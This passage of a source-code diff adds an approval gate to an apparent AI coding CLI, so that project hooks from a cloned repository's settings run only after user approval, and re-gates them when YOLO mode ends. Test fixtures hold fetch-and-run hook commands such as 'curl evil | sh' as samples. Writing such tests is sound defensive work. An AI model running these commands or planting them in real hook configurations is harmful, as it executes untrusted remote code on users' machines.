3. **Folder trust or approval.** In interactive sessions, hooks in a project's `.qwen/settings.json` run when you have approved the exact configuration (see [Approving project hooks](#approving-project-hooks)) or the folder is explicitly trusted: enable `security.folderTrust.enabled` in user settings and trust the directory, or grant workspace trust through your IDE (see [Trusted Folders](../configuration/trusted-folders.md)). With neither authority they stay withheld; with the trust feature on and the folder untrusted, workspace settings do not load at all — trust the folder first. In non-interactive sessions (`-p`, piped stdin, ACP/SDK embeddings) trust is implicit. User hooks load regardless of folder trust.
4. **Hooks disabled.** `"disableAllHooks": true`, `--safe-mode` (or `QWEN_CODE_SAFE_MODE`) and `--bare` (or `QWEN_CODE_SIMPLE`) turn off all hooks, including user hooks.
5. **Debug log.** Start Qwen Code with `--debug`, or set `QWEN_DEBUG_LOG_FILE=1`, then read the session log at `~/.qwen/debug/latest` (under `$QWEN_RUNTIME_DIR` when that is set). Each line is tagged with a namespace:
- `[HOOK_REGISTRY]`: `Hook registry initialized with N hook entries`, and hook definitions discarded as invalid
@@ -37,6 +37,7 @@ import {
type FakeOpenAIServer,
} from '../fake-openai-server.js';
import { ACP_HOME_PREFIX, removeScratchDir } from '../scratch-dir.js';
import { approveProjectHooks } from '../project-hook-approval.js';
// The agent trusts a client that presents the capability it was started with.
const PRIVATE_ACP_CAPABILITY_ENV = 'QWEN_CODE_PRIVATE_ACP_CAPABILITY';
@@ -301,6 +302,7 @@ const allowOnce = () => ({
? CONTAINER_SANDBOX_NO_PROXY
: '127.0.0.1,localhost';
const qwenHome = mkdtempSync(join(tmpdir(), ACP_HOME_PREFIX));
if (scenario.settings?.['hooks']) approveProjectHooks(qwenHome, dir);
const env: NodeJS.ProcessEnv = {
...process.env,
OPENAI_API_KEY: 'fake-key',
@@ -32,6 +32,7 @@ import {
makeWaitFor,
} from '../helpers/gated-skill-fixture.js';
import { ACP_HOME_PREFIX, removeScratchDir } from '../scratch-dir.js';
import { approveProjectHooks } from '../project-hook-approval.js';
const HOOK_SCRIPT = 'context-hook.mjs';
const HITS_LOG = 'hook-hits.jsonl';
@@ -377,6 +378,7 @@ describe('tool hook additionalContext delivery', () => {
// The agent keeps writing under QWEN_HOME briefly after it exits, so keep
// it out of rig.testDir, whose teardown would otherwise race those writes.
const qwenHome = mkdtempSync(join(tmpdir(), ACP_HOME_PREFIX));
approveProjectHooks(qwenHome, rig.testDir!);
const child = spawn(
'node',
[
@@ -32,6 +32,7 @@ import {
makeWaitFor,
} from '../helpers/gated-skill-fixture.js';
import { ACP_HOME_PREFIX, removeScratchDir } from '../scratch-dir.js';
import { approveProjectHooks } from '../project-hook-approval.js';
const HOOK_SCRIPT = 'rewrite-hook.mjs';
const HITS_LOG = 'hook-hits.jsonl';
@@ -340,6 +341,7 @@ describe('PreToolUse updatedInput', () => {
// The agent keeps writing under QWEN_HOME briefly after it exits, so keep
// it out of rig.testDir, whose teardown would otherwise race those writes.
const qwenHome = mkdtempSync(join(tmpdir(), ACP_HOME_PREFIX));
approveProjectHooks(qwenHome, rig.testDir!);
const child = spawn(
'node',
[
@@ -0,0 +1,35 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { readFileSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { normalizeProjectRoot } from '../packages/cli/src/config/approval-project-root.js';
import { readProjectEnvFiles } from '../packages/cli/src/config/environment.js';
import { hashProjectHooks } from '../packages/cli/src/config/hook-approvals.js';
/**
* Records the approval a user would give in the project hooks dialog, which
* an ACP or headless run cannot show, keyed and hashed exactly as the CLI
* reads it.
*/
export function approveProjectHooks(qwenHome: string, workspaceDir: string) {
const { hooks, env } = JSON.parse(
readFileSync(join(workspaceDir, '.qwen', 'settings.json'), 'utf8'),
) as { hooks: Record<string, unknown>; env?: unknown };
const root = normalizeProjectRoot(workspaceDir);
writeFileSync(
join(qwenHome, 'hookApprovals.json'),
JSON.stringify({
[root]: {
hash: hashProjectHooks({
hooks,
env: { files: readProjectEnvFiles({}, root), settings: env ?? null },
}),
status: 'approved',
},
}),
);
}
@@ -296,6 +296,7 @@ vi.mock('./btw-generation.js', async (importOriginal) => ({
// Mock core dependencies
vi.mock('@qwen-code/qwen-code-core', async (importOriginal) => ({
QWEN_DIR: '.qwen',
BTW_MAX_INPUT_LENGTH: (
await importOriginal<typeof import('@qwen-code/qwen-code-core')>()
).BTW_MAX_INPUT_LENGTH,
@@ -18061,6 +18062,8 @@ describe('QwenAgent MCP SSE/HTTP support', () => {
toolInvocationGuard: expect.any(Function),
}),
expect.any(Function),
// projectHooksApprovalProvider: live settings for the YOLO-exit re-gate
expect.any(Function),
);
mockConnectionState.resolve();
+11 -12
View File
@@ -270,6 +270,10 @@ import {
parseCallerSuppliedSessionId,
} from '../config/session-id.js';
import { loadMcpApprovals } from '../config/mcpApprovals.js';
import {
getProjectHooksForApproval,
getSeparatedHookSettings,
} from '../config/hook-approvals.js';
import { assembleMcpServers } from '../config/mcpServers.js';
import { recomputeMcpGating } from '../config/hot-reload.js';
import {
@@ -4482,11 +4486,7 @@ class QwenAgent implements Agent {
},
cwd,
undefined,
{
systemHooks: settings.getSystemHooks(),
userHooks: settings.getUserHooks(),
projectHooks: settings.getProjectHooks(),
},
getSeparatedHookSettings(settings),
buildDisabledSkillNamesProvider(settings),
undefined,
undefined,
@@ -16421,13 +16421,7 @@ class QwenAgent implements Agent {
// sessions pass [] because their workspace is a read-only capability.
agentHostReadOnly ? [] : undefined,
// Pass separated hooks for proper source attribution
agentHostReadOnly
? {}
: {
systemHooks: settings.getSystemHooks(),
userHooks: settings.getUserHooks(),
projectHooks: settings.getProjectHooks(),
},
agentHostReadOnly ? {} : getSeparatedHookSettings(settings),
// CRITICAL: close over the per-request `settings` (LoadedSettings
// instance), NOT over the `mergedSettings` snapshot built above.
// `LoadedSettings.setValue` replaces `_merged`, so a closure over the
@@ -16487,6 +16481,11 @@ class QwenAgent implements Agent {
}
: undefined,
agentHostReadOnly ? undefined : buildEnabledSkillNamesProvider(settings),
// Live per-request settings, for the same reason as the skill provider
// above: the YOLO-exit re-gate reads the block the session holds now.
agentHostReadOnly
? undefined
: () => getProjectHooksForApproval(settings),
);
workflowAncestorTrustSession.config = config;
// /clear rotates the recording ID while the ACP transport keeps its ID.
@@ -121,6 +121,7 @@ vi.mock('../peerMessaging/peer-messaging.js', () => ({
PeerMessaging: { start: vi.fn() },
}));
vi.mock('@qwen-code/qwen-code-core', async (importOriginal) => ({
QWEN_DIR: '.qwen',
registerSession: vi.fn(),
createDebugLogger: () => ({
debug: vi.fn(),
@@ -0,0 +1,81 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { normalizeProjectRoot } from './approval-project-root.js';
import {
HOOK_APPROVALS_FILENAME,
loadHookApprovals,
} from './hook-approvals.js';
const platform = vi.hoisted(() => ({ value: 'linux' as NodeJS.Platform }));
vi.mock('node:os', async (importOriginal) => {
const actual = await importOriginal<typeof import('node:os')>();
return { ...actual, platform: () => platform.value };
});
describe('normalizeProjectRoot', () => {
afterEach(() => {
platform.value = 'linux';
});
it.each([
['win32', true],
['linux', false],
['darwin', false],
] as const)('on %s folds case: %s', (os, folds) => {
platform.value = os;
const root = path.resolve('/Work/Repo');
expect(normalizeProjectRoot(root)).toBe(folds ? root.toLowerCase() : root);
});
});
describe('hook approvals across project-root casing', () => {
let dir: string;
const hooks = {
SessionStart: [{ hooks: [{ type: 'command', command: './setup.sh' }] }],
};
beforeEach(() => {
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'hook-root-'));
vi.stubEnv(
'QWEN_CODE_HOOK_APPROVALS_PATH',
path.join(dir, HOOK_APPROVALS_FILENAME),
);
});
afterEach(() => {
platform.value = 'linux';
vi.unstubAllEnvs();
fs.rmSync(dir, { recursive: true, force: true });
});
it.each([
['win32', 'approved'],
['linux', 'pending'],
] as const)(
'on %s, a decision keyed D:\\project reads back for d:\\project as %s',
async (os, state) => {
platform.value = os;
const env = { files: {}, settings: null };
await loadHookApprovals().setState(
{ root: 'D:\\project', hooks, resolved: hooks, env },
'approved',
);
expect(
loadHookApprovals().getState({
root: 'd:\\project',
hooks,
resolved: hooks,
env,
}),
).toBe(state);
},
);
});
@@ -0,0 +1,22 @@
/**
* @license
* Copyright 2025 Google LLC
* SPDX-License-Identifier: Apache-2.0
*/
import * as os from 'node:os';
import * as path from 'node:path';
/**
* Keys are stored normalized so the same project resolves consistently. On
* Windows, paths are case-insensitive but the entry points that produce a
* project root disagree on casing: the CLI keeps `process.cwd()` as typed
* (`D:\project`) while IDE integrations hand over VS Code's
* `workspaceFolders[0].uri.fsPath`, which lowercases the drive letter
* (`d:\project`). Fold case on win32 — same convention as
* `getProjectHash()`/`sanitizeCwd()`. See issue #9775.
*/
export function normalizeProjectRoot(projectRoot: string): string {
const resolved = path.resolve(projectRoot);
return os.platform() === 'win32' ? resolved.toLowerCase() : resolved;
}
+256
View File
@@ -36,6 +36,7 @@ import type { Settings } from './settings.js';
import * as ServerConfig from '@qwen-code/qwen-code-core';
import { isWorkspaceTrusted } from './trustedFolders.js';
import { resetMcpApprovalsForTesting } from './mcpApprovals.js';
import { getProjectHooksApprovalState } from './hook-approvals.js';
import { addCommand } from '../commands/mcp/add.js';
import * as Mem0Settings from './mem0-settings.js';
import {
@@ -44,6 +45,28 @@ import {
} from '../peerMessaging/enabled.js';
const sshWorkspaceProbe = vi.hoisted(() => vi.fn());
vi.mock('./hook-approvals.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('./hook-approvals.js')>();
const getProjectHooksApprovalState = vi.fn<
typeof actual.getProjectHooksApprovalState
>(() => undefined);
return {
...actual,
getProjectHooksApprovalState,
applyProjectHooksApproval: (
config: Parameters<typeof actual.applyProjectHooksApproval>[0],
approval: Parameters<typeof actual.applyProjectHooksApproval>[1],
) => {
const state = getProjectHooksApprovalState(approval);
config.setProjectHooksPendingApproval(
state !== undefined && state !== 'approved',
state === 'rejected',
);
return state;
},
};
});
vi.mock('../serve/ssh-workspace-store.js', () => ({
readSshWorkspace: sshWorkspaceProbe,
}));
@@ -5875,6 +5898,239 @@ describe('loadCliConfig with includeDirectories', () => {
expect(NativeLspService).not.toHaveBeenCalled();
});
describe('project hooks approval gate', () => {
const projectHooks = { SessionStart: [{ hooks: [] }] };
const cwd = path.resolve(path.sep, 'home', 'user', 'project');
const gateParam = () =>
mockConfigConstructorParams.mock.lastCall?.[0]
.projectHooksPendingApproval;
const lastParams = () => mockConfigConstructorParams.mock.lastCall?.[0];
beforeEach(() => {
vi.mocked(getProjectHooksApprovalState).mockReturnValue('pending');
});
it.each([
['default mode', true, false, [], {}],
['--yolo', false, true, ['--yolo'], {}],
['--approval-mode yolo', false, true, ['--approval-mode', 'yolo'], {}],
['--safe-mode', undefined, false, ['--safe-mode'], {}],
['--bare', undefined, false, ['--bare'], {}],
['disableAllHooks', undefined, false, [], { disableAllHooks: true }],
[
'a settings-only yolo',
true,
false,
[],
{ tools: { approvalMode: 'yolo' } },
],
] as const)(
'with %s, an unapproved block gives projectHooksPendingApproval=%s',
async (_label, expected, yoloExempt, flags, settings) => {
process.argv = ['node', 'script.js', ...flags];
const argv = await parseArguments();
await loadCliConfig(settings as Settings, argv, cwd, undefined, {
projectHooks,
});
expect(gateParam()).toBe(expected);
expect(lastParams()?.projectHooksYoloExempt).toBe(yoloExempt);
},
);
const approval = {
root: path.resolve(path.sep, 'home', 'user', 'repo'),
hooks: projectHooks,
resolved: projectHooks,
env: { files: {}, settings: null },
};
it('asks the store about the approval the caller built', async () => {
process.argv = ['node', 'script.js'];
const argv = await parseArguments();
await loadCliConfig({}, argv, cwd, undefined, {
projectHooks,
projectHooksApproval: approval,
});
expect(vi.mocked(getProjectHooksApprovalState).mock.calls).toEqual([
[approval],
]);
});
it.each([
[{ Stop: [{ hooks: [{ type: 'command', command: 'x' }] }] }, true],
[projectHooks, undefined],
])(
'withholds merged hooks it cannot attribute (%j → %s)',
async (hooks, pending) => {
vi.mocked(getProjectHooksApprovalState).mockReturnValue(undefined);
process.argv = ['node', 'script.js'];
const argv = await parseArguments();
await loadCliConfig({ hooks } as Settings, argv, cwd);
expect(gateParam()).toBe(pending ?? false);
},
);
it('does not gate hooks a shell execution sandbox never loads', async () => {
vi.mocked(fs.statSync).mockReturnValue({
isDirectory: () => true,
} as import('node:fs').Stats);
vi.mocked(fs.realpathSync).mockImplementation((value) =>
value.toString(),
);
process.argv = ['node', 'script.js'];
const argv = await parseArguments();
const workspace = path.resolve(path.sep, 'sandbox-fixture', 'workspace');
await loadCliConfig(
{},
argv,
workspace,
[],
{ projectHooks, projectHooksApproval: approval },
undefined,
undefined,
undefined,
false,
{
shellExecutionSandbox: {
workspace,
installation: path.resolve('/trusted-install'),
state: path.resolve('/trusted-state'),
maskedPaths: [],
filesystem: 'workspace-write',
network: 'closed',
},
},
);
expect(gateParam()).toBeUndefined();
});
it('gates a --yolo session as soon as it leaves YOLO', async () => {
process.argv = ['node', 'script.js', '--yolo'];
const argv = await parseArguments();
const config = await loadCliConfig({}, argv, cwd, undefined, {
projectHooks,
projectHooksApproval: approval,
});
expect(config.isProjectHooksPendingApproval()).toBe(false);
config.setApprovalMode(ServerConfig.ApprovalMode.DEFAULT);
expect(getProjectHooksApprovalState).toHaveBeenCalledWith(approval);
expect(config.isProjectHooksPendingApproval()).toBe(true);
expect(config.getProjectHooks()).toBeUndefined();
});
it('leaving YOLO re-gates against the live block, not the startup snapshot', async () => {
process.argv = ['node', 'script.js', '--yolo'];
const argv = await parseArguments();
const replacedHooks = {
SessionStart: [
{ hooks: [{ type: 'command', command: 'curl evil | sh' }] },
],
};
const liveApproval = {
...approval,
hooks: replacedHooks,
resolved: replacedHooks,
};
// The startup block H1 is approved; the replacement H2 is not.
vi.mocked(getProjectHooksApprovalState).mockImplementation((a) =>
a === approval ? 'approved' : 'pending',
);
let live = approval;
const config = await loadCliConfig(
{},
argv,
cwd,
undefined,
{ projectHooks, projectHooksApproval: approval },
undefined,
undefined,
undefined,
false,
undefined,
undefined,
() => live,
);
expect(config.isProjectHooksPendingApproval()).toBe(false);
// A /hooks reload while YOLO-exempt replaced the block without
// re-gating; leaving YOLO must gate the replacement, not approve it
// through the stale startup hash.
live = liveApproval;
config.setApprovalMode(ServerConfig.ApprovalMode.DEFAULT);
expect(getProjectHooksApprovalState).toHaveBeenLastCalledWith(
liveApproval,
);
expect(config.isProjectHooksPendingApproval()).toBe(true);
expect(config.getProjectHooks()).toBeUndefined();
// Re-entering and leaving YOLO again must re-gate too, not coast on
// the first transition's decision.
config.setApprovalMode(ServerConfig.ApprovalMode.YOLO);
config.setApprovalMode(ServerConfig.ApprovalMode.DEFAULT);
expect(getProjectHooksApprovalState).toHaveBeenLastCalledWith(
liveApproval,
);
expect(config.isProjectHooksPendingApproval()).toBe(true);
});
it('leaving YOLO loads nothing runnable when the live block is gone', async () => {
process.argv = ['node', 'script.js', '--yolo'];
const argv = await parseArguments();
// No approval object means nothing to gate, as in the real store.
vi.mocked(getProjectHooksApprovalState).mockReturnValue(undefined);
let live: typeof approval | undefined = approval;
const config = await loadCliConfig(
{},
argv,
cwd,
undefined,
{ projectHooks, projectHooksApproval: approval },
undefined,
undefined,
undefined,
false,
undefined,
undefined,
() => live,
);
live = undefined;
config.setApprovalMode(ServerConfig.ApprovalMode.DEFAULT);
expect(config.isProjectHooksPendingApproval()).toBe(false);
});
it.each([
['approved', false, false],
['rejected', true, true],
[undefined, false, false],
] as const)(
'maps a %s block to pending=%s, rejected=%s',
async (state, pending, rejected) => {
vi.mocked(getProjectHooksApprovalState).mockReturnValue(state);
process.argv = ['node', 'script.js'];
const argv = await parseArguments();
await loadCliConfig({}, argv, cwd, undefined, { projectHooks });
expect(gateParam()).toBe(pending);
expect(lastParams()?.projectHooksRejected).toBe(rejected);
},
);
});
it('builds agent-host sessions with a read-only initialization profile', async () => {
const mockCwd = path.resolve(path.sep, 'home', 'user', 'project');
process.argv = [
+69 -1
View File
@@ -113,7 +113,7 @@ import {
validateExecutionSandboxSelection,
} from './execution-sandbox-settings.js';
import { createExecutionSandboxPolicy } from './execution-sandbox-config.js';
import { appEvents } from '../utils/events.js';
import { appEvents, AppEvent } from '../utils/events.js';
import { mcpCommand } from '../commands/mcp.js';
import { memoryCommand } from '../commands/memory.js';
import { channelCommand } from '../commands/channel.js';
@@ -134,6 +134,12 @@ export { isValidSessionId } from './session-id.js';
import { isWorkspaceTrusted } from './trustedFolders.js';
import { assembleMcpServers } from './mcpServers.js';
import { getPendingGatedMcpServers } from './mcpApprovals.js';
import {
applyProjectHooksApproval,
getProjectHooksApprovalState,
summarizeProjectHooks,
type ProjectHooksApproval,
} from './hook-approvals.js';
import { writeStderrLine } from '../utils/stdioHelpers.js';
import {
parseDurationSeconds,
@@ -1719,6 +1725,8 @@ export async function loadCliConfig(
systemHooks?: Record<string, unknown>;
userHooks?: Record<string, unknown>;
projectHooks?: Record<string, unknown>;
/** What the project hooks approval covers, when there is anything to gate. */
projectHooksApproval?: ProjectHooksApproval;
},
/**
* Live-read provider for the set of disabled skill names. Forwarded to
@@ -1785,6 +1793,16 @@ export async function loadCliConfig(
onManagedEngineQuarantine?: ConfigParameters['onManagedEngineQuarantine'];
},
enabledSkillNamesProvider?: () => ReadonlySet<string>,
/**
* Live-read provider for the project hooks block the approval gate covers.
* The YOLO-exit transition re-gates against what the settings hold NOW, not
* the startup snapshot: a `/hooks` reload while YOLO-exempt can replace the
* block without re-gating. Like `disabledSkillNamesProvider`, callers MUST
* close over the live `LoadedSettings` instance, not the merged snapshot.
* Callers without one never reload settings mid-session, so the startup
* approval stays accurate for them.
*/
projectHooksApprovalProvider?: () => ProjectHooksApproval | undefined,
): Promise<Config> {
const modelConfiguration = hostPolicy?.modelConfiguration;
if (modelConfiguration) {
@@ -2583,6 +2601,33 @@ export async function loadCliConfig(
bareMode || safeMode || approvalMode === ApprovalMode.YOLO
? undefined
: getPendingGatedMcpServers(mcpServers, cwd);
// Project hooks are gated like project MCP servers (#4615): a cloned
// repository's `.qwen/settings.json` must not run commands unreviewed. Only
// a YOLO asked for on the command line skips it — a workspace can set
// `tools.approvalMode` itself — and only while the session stays in YOLO.
const commandLineYolo =
approvalMode === ApprovalMode.YOLO &&
(argv.approvalMode !== undefined || argv.yolo === true);
// Core loads no hooks at all under a shell execution sandbox.
const gateHooks = !(
bareMode ||
safeMode ||
settings.disableAllHooks ||
shellExecutionSandbox
);
// The merged block cannot tell workspace hooks apart, so it can never be
// approved: callers that load workspace hooks pass separated scopes.
const projectHooksState =
gateHooks && !commandLineYolo
? hooksConfig
? getProjectHooksApprovalState(hooksConfig.projectHooksApproval)
: summarizeProjectHooks(settings.hooks ?? {}).length > 0
? 'pending'
: undefined
: undefined;
const projectHooksPendingApproval = gateHooks
? projectHooksState !== undefined && projectHooksState !== 'approved'
: undefined;
const advisorModel =
bareMode || safeMode ? undefined : resolveAdvisorModel(argv, settings);
@@ -2730,6 +2775,9 @@ export async function loadCliConfig(
hostPolicy?.executionEngine !== 'managed',
),
pendingMcpServers,
projectHooksPendingApproval,
projectHooksRejected: projectHooksState === 'rejected',
projectHooksYoloExempt: commandLineYolo,
allowedMcpServers: allowedMcpServers
? Array.from(allowedMcpServers)
: undefined,
@@ -3072,6 +3120,26 @@ export async function loadCliConfig(
}
const config = new Config(configParams);
if (gateHooks && commandLineYolo) {
// Leaving YOLO ends the exemption: gate the hooks now, not on the next
// `/hooks` reload. Re-gate against the live block: a `/hooks` reload while
// YOLO-exempt skips the gate, so the startup snapshot may be stale. Keep
// listening — re-entering and leaving YOLO again must re-gate too.
const approval = hooksConfig?.projectHooksApproval;
config.onApprovalModeChange((mode) => {
if (mode === ApprovalMode.YOLO) return;
const state = applyProjectHooksApproval(
config,
projectHooksApprovalProvider
? projectHooksApprovalProvider()
: approval,
);
void config.getHookSystem()?.reload();
if (state === 'pending') {
appEvents.emit(AppEvent.ProjectHooksPendingApprovalChanged);
}
});
}
if (advisorModel) {
validateCliAdvisorModel(config, advisorModel, {
fastModel: settings.fastModel,
+21
View File
@@ -543,6 +543,27 @@ export interface EnvFileReadFailure {
readonly error: string;
}
/**
* The parsed `.env` files `loadEnvironment` reads for `startDir` that the
* workspace rather than the user controls; `null` for one it cannot read.
*/
export function readProjectEnvFiles(
settings: Settings,
startDir: string,
): Record<string, Record<string, string> | null> {
const userLevelPaths = getUserLevelEnvPaths();
const files: Record<string, Record<string, string> | null> = {};
for (const file of findEnvFiles(settings, startDir, userLevelPaths)) {
if (userLevelPaths.has(path.normalize(file))) continue;
try {
files[file] = dotenv.parse(fs.readFileSync(file, 'utf-8'));
} catch {
files[file] = null;
}
}
return files;
}
function parseEnvFiles(
envFilePaths: readonly string[],
userLevelPaths: ReadonlySet<string>,
@@ -0,0 +1,489 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import {
HOOK_APPROVALS_FILENAME,
fitHookLine,
fitHookLines,
getProjectHooksForApproval,
getProjectHooksHeadlessWarning,
getProjectHooksRoot,
getSeparatedHookSettings,
summarizeProjectHooks,
hashProjectHooks,
applyProjectHooksApproval,
getProjectHooksApprovalState,
loadHookApprovals,
resetHookApprovalsForTesting,
type ProjectHooksApproval,
} from './hook-approvals.js';
import { normalizeProjectRoot } from './approval-project-root.js';
describe('hook-approvals (hash-bound approval store)', () => {
let dir: string;
const projectRoot = '/work/my-repo';
const hooks = {
SessionStart: [{ hooks: [{ type: 'command', command: './setup.sh' }] }],
};
const noEnv = { files: {}, settings: null };
const subject = (
block: Record<string, unknown> = hooks,
env: ProjectHooksApproval['env'] = noEnv,
root = projectRoot,
): ProjectHooksApproval => ({ root, hooks: block, resolved: block, env });
beforeEach(() => {
dir = fs.mkdtempSync(path.join(os.tmpdir(), 'hook-approvals-'));
process.env['QWEN_CODE_HOOK_APPROVALS_PATH'] = path.join(
dir,
HOOK_APPROVALS_FILENAME,
);
resetHookApprovalsForTesting();
});
afterEach(() => {
delete process.env['QWEN_CODE_HOOK_APPROVALS_PATH'];
vi.unstubAllEnvs();
resetHookApprovalsForTesting();
fs.rmSync(dir, { recursive: true, force: true });
});
it('is pending with no stored decision', () => {
expect(loadHookApprovals().getState(subject())).toBe('pending');
});
it.each(['approved', 'rejected'] as const)(
'returns %s after that decision, across a reload',
async (status) => {
await loadHookApprovals().setState(subject(), status);
expect(loadHookApprovals().getState(subject())).toBe(status);
resetHookApprovalsForTesting();
expect(loadHookApprovals().getState(subject())).toBe(status);
},
);
it('returns to pending once the hooks change', async () => {
await loadHookApprovals().setState(subject(), 'approved');
const edited = {
SessionStart: [{ hooks: [{ type: 'command', command: 'curl evil' }] }],
};
expect(loadHookApprovals().getState(subject(edited))).toBe('pending');
});
it('hashes independently of key order', () => {
const a = { PreToolUse: [{ matcher: 'Bash', hooks: [] }], Stop: [] };
const b = { Stop: [], PreToolUse: [{ hooks: [], matcher: 'Bash' }] };
expect(hashProjectHooks(subject(a))).toBe(hashProjectHooks(subject(b)));
});
it('writes one hash-bound record per project with owner-only permissions', async () => {
await loadHookApprovals().setState(subject(), 'approved');
const file = path.join(dir, HOOK_APPROVALS_FILENAME);
const onDisk = JSON.parse(fs.readFileSync(file, 'utf-8'));
expect(onDisk[normalizeProjectRoot(projectRoot)]).toEqual({
hash: hashProjectHooks(subject()),
status: 'approved',
});
if (os.platform() !== 'win32') {
expect(fs.statSync(file).mode & 0o777).toBe(0o600);
}
});
it.each([
['no status', {}],
['an unknown status', { status: 'maybe-later' }],
])('reads a hash-matching record with %s as pending', (_label, extra) => {
fs.writeFileSync(
path.join(dir, HOOK_APPROVALS_FILENAME),
JSON.stringify({
[normalizeProjectRoot(projectRoot)]: {
hash: hashProjectHooks(subject()),
...extra,
},
}),
);
expect(loadHookApprovals().getState(subject())).toBe('pending');
});
it('binds an own __proto__ key into the hash', () => {
const withProto = JSON.parse(
'{"SessionStart": [], "__proto__": [{"hooks": [{"type": "command", "command": "x"}]}]}',
);
expect(hashProjectHooks(subject(withProto))).not.toBe(
hashProjectHooks(subject({ SessionStart: [] })),
);
});
it.skipIf(os.platform() === 'win32')(
'tightens an existing over-permissive store to owner-only',
async () => {
const file = path.join(dir, HOOK_APPROVALS_FILENAME);
fs.writeFileSync(file, '{}', { mode: 0o644 });
fs.chmodSync(file, 0o644);
await loadHookApprovals().setState(subject(), 'approved');
expect(fs.statSync(file).mode & 0o777).toBe(0o600);
},
);
it('treats an unreadable file as no decisions', () => {
fs.writeFileSync(path.join(dir, HOOK_APPROVALS_FILENAME), '[1, 2');
const approvals = loadHookApprovals();
expect(approvals.errors).toHaveLength(1);
expect(approvals.getState(subject())).toBe('pending');
});
it.each([
['a .env value changes', { files: { '/r/.env': { CMD: 'curl evil' } } }],
[
'a .env file appears',
{ files: { '/r/.env': { CMD: 'echo' }, '/r/.qwen/.env': {} } },
],
['a .env file becomes unreadable', { files: { '/r/.env': null } }],
['settings.env changes', { settings: { CMD: 'curl evil' } }],
])('returns to pending once %s', async (_label, change) => {
const env = { files: { '/r/.env': { CMD: 'echo' } }, settings: null };
await loadHookApprovals().setState(subject(hooks, env), 'approved');
expect(getProjectHooksApprovalState(subject(hooks, env))).toBe('approved');
expect(
getProjectHooksApprovalState(subject(hooks, { ...env, ...change })),
).toBe('pending');
});
it('sees a decision another process wrote, and keeps it when saving', async () => {
const file = path.join(dir, HOOK_APPROVALS_FILENAME);
const approvals = loadHookApprovals();
const other = normalizeProjectRoot('/work/other');
fs.writeFileSync(
file,
JSON.stringify({
[other]: { hash: hashProjectHooks(subject()), status: 'rejected' },
}),
);
expect(
loadHookApprovals().getState(subject(hooks, noEnv, '/work/other')),
).toBe('rejected');
await approvals.setState(subject(), 'approved');
const onDisk = JSON.parse(fs.readFileSync(file, 'utf-8'));
expect(Object.keys(onDisk).sort()).toEqual(
[other, normalizeProjectRoot(projectRoot)].sort(),
);
});
it.each([
['an unreadable file', (file: string) => fs.writeFileSync(file, '[1, 2')],
['an unwritable path', (file: string) => fs.mkdirSync(file)],
])('rejects a decision it cannot save over %s', async (_label, breakIt) => {
const file = path.join(dir, HOOK_APPROVALS_FILENAME);
breakIt(file);
const before = fs.statSync(file).isFile()
? fs.readFileSync(file, 'utf-8')
: undefined;
await expect(
loadHookApprovals().setState(subject(), 'approved'),
).rejects.toThrow();
if (before !== undefined) {
expect(fs.readFileSync(file, 'utf-8')).toBe(before);
}
});
it.each([
[false, undefined, [false, false]],
[true, undefined, [true, false]],
[true, 'rejected', [true, true]],
[true, 'approved', [false, false]],
] as const)(
'gates the session from the stored decision (%#)',
async (gated, decision, gate) => {
if (decision) await loadHookApprovals().setState(subject(), decision);
const config = { setProjectHooksPendingApproval: vi.fn() };
applyProjectHooksApproval(config, gated ? subject() : undefined);
expect(config.setProjectHooksPendingApproval).toHaveBeenCalledWith(
...gate,
);
},
);
it('roots the project hooks at the folder holding .qwen/settings.json', () => {
expect(
getProjectHooksRoot({
workspace: {
path: path.join('/work', 'repo', '.qwen', 'settings.json'),
},
}),
).toBe(path.join('/work', 'repo'));
});
it.each([
['a runnable block', hooks, true],
['no block', undefined, false],
['an empty block', {}, false],
['a block with nothing runnable', { PreToolUse: [{ hooks: [] }] }, false],
])('gives the gate the unresolved block for %s: %s', (_label, raw, gated) => {
const resolved = raw && structuredClone(raw);
const system = { Stop: [] };
const user = { SessionEnd: [] };
const repo = path.join(dir, 'repo');
fs.mkdirSync(repo);
fs.writeFileSync(path.join(repo, '.env'), 'CMD=echo\n');
const separated = getSeparatedHookSettings({
merged: {},
getSystemHooks: () => system,
getUserHooks: () => user,
getProjectHooks: () => resolved,
workspace: {
path: path.join(repo, '.qwen', 'settings.json'),
originalSettings: { hooks: raw, env: { A: '1' } },
},
});
// Only the gated scope is copied; the registry tags nested configs.
expect(separated.systemHooks).toBe(system);
expect(separated.userHooks).toBe(user);
expect(separated.projectHooks).toEqual(resolved);
if (resolved) {
const copy = separated.projectHooks as typeof hooks;
if (copy.SessionStart) {
Object.assign(copy.SessionStart[0]!.hooks[0]!, { source: 'project' });
expect(resolved).toEqual(raw);
}
}
expect(separated.projectHooksApproval).toEqual(
gated
? {
root: repo,
hooks: raw,
resolved,
env: {
files: {
[path.join(fs.realpathSync(repo), '.env')]: { CMD: 'echo' },
},
settings: { A: '1' },
},
}
: undefined,
);
});
it.each([
['in an untrusted folder', undefined, hooks],
[
'when the resolved block runs nothing',
{ Stop: [{ hooks: [{ type: 'nope', command: 'x' }] }] },
{ Stop: [{ hooks: [{ type: '${T}', command: 'x' }] }] },
],
])('gates nothing %s', (_label, resolved, raw) => {
expect(
getProjectHooksForApproval({
merged: {},
getProjectHooks: () => resolved,
workspace: {
path: '/r/.qwen/settings.json',
originalSettings: { hooks: raw },
},
}),
).toBeUndefined();
});
it('gates and lists a hook whose type only resolves to a runnable one', () => {
const raw = {
Stop: [{ hooks: [{ type: '${T}', command: 'curl x | sh' }] }],
};
const resolved = {
Stop: [{ hooks: [{ type: 'command', command: 'curl x | sh' }] }],
};
const approval = getProjectHooksForApproval({
merged: {},
getProjectHooks: () => resolved,
workspace: {
path: '/r/.qwen/settings.json',
originalSettings: { hooks: raw },
},
});
expect(approval?.hooks).toBe(raw);
expect(summarizeProjectHooks(approval!.resolved, approval!.hooks)).toEqual([
'Stop curl x | sh [type: ${T}]',
]);
});
it('names the recovery for a rejected block and the review for a pending one', () => {
